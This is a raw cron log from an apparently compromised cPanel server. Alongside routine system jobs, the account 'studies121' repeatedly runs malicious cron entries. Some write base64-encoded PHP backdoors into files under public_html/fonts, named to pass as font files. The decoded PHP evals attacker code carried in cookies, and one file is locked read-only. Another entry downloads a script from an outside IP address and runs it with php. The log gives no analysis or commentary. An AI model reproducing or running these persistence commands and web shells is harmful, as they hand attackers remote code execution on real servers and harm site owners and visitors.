Sep  7 18:19:01 ip-184-168-122-23 CROND[29129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:19:01 ip-184-168-122-23 CROND[29130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:19:01 ip-184-168-122-23 CROND[29133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:20:01 ip-184-168-122-23 CROND[29365]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 18:20:01 ip-184-168-122-23 CROND[29368]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 18:20:01 ip-184-168-122-23 CROND[29369]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:20:01 ip-184-168-122-23 CROND[29371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:20:01 ip-184-168-122-23 CROND[29370]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:20:01 ip-184-168-122-23 CROND[29373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:20:01 ip-184-168-122-23 CROND[29372]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:20:01 ip-184-168-122-23 CROND[29375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:20:01 ip-184-168-122-23 CROND[29378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:21:01 ip-184-168-122-23 CROND[29572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:21:01 ip-184-168-122-23 CROND[29574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:21:01 ip-184-168-122-23 CROND[29573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:21:01 ip-184-168-122-23 CROND[29575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:22:01 ip-184-168-122-23 CROND[29732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:22:01 ip-184-168-122-23 CROND[29730]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:22:01 ip-184-168-122-23 CROND[29734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:22:01 ip-184-168-122-23 CROND[29731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:22:01 ip-184-168-122-23 CROND[29733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:23:01 ip-184-168-122-23 CROND[29837]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:23:01 ip-184-168-122-23 CROND[29839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:23:01 ip-184-168-122-23 CROND[29840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:23:01 ip-184-168-122-23 CROND[29838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:24:01 ip-184-168-122-23 CROND[29937]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:24:01 ip-184-168-122-23 CROND[29939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:24:01 ip-184-168-122-23 CROND[29941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:24:01 ip-184-168-122-23 CROND[29940]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:24:01 ip-184-168-122-23 CROND[29942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:25:01 ip-184-168-122-23 CROND[30136]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:25:01 ip-184-168-122-23 CROND[30138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:25:01 ip-184-168-122-23 CROND[30140]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:25:01 ip-184-168-122-23 CROND[30139]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 18:25:01 ip-184-168-122-23 CROND[30141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:25:01 ip-184-168-122-23 CROND[30142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:25:01 ip-184-168-122-23 CROND[30143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:26:01 ip-184-168-122-23 CROND[30264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:26:01 ip-184-168-122-23 CROND[30266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:26:01 ip-184-168-122-23 CROND[30265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:26:01 ip-184-168-122-23 CROND[30269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:26:01 ip-184-168-122-23 CROND[30267]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:27:01 ip-184-168-122-23 CROND[30405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:27:01 ip-184-168-122-23 CROND[30406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:27:01 ip-184-168-122-23 CROND[30410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:27:01 ip-184-168-122-23 CROND[30411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:28:01 ip-184-168-122-23 CROND[30532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:28:01 ip-184-168-122-23 CROND[30533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:28:01 ip-184-168-122-23 CROND[30530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:28:01 ip-184-168-122-23 CROND[30531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:28:01 ip-184-168-122-23 CROND[30534]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:29:02 ip-184-168-122-23 CROND[30629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:29:02 ip-184-168-122-23 CROND[30632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:29:02 ip-184-168-122-23 CROND[30633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:29:02 ip-184-168-122-23 CROND[30631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:30:01 ip-184-168-122-23 CROND[30741]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:30:01 ip-184-168-122-23 CROND[30744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:30:01 ip-184-168-122-23 CROND[30742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:30:01 ip-184-168-122-23 CROND[30740]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:30:01 ip-184-168-122-23 CROND[30746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:30:01 ip-184-168-122-23 CROND[30747]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 18:30:01 ip-184-168-122-23 CROND[30743]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:30:01 ip-184-168-122-23 CROND[30748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:31:01 ip-184-168-122-23 CROND[30845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
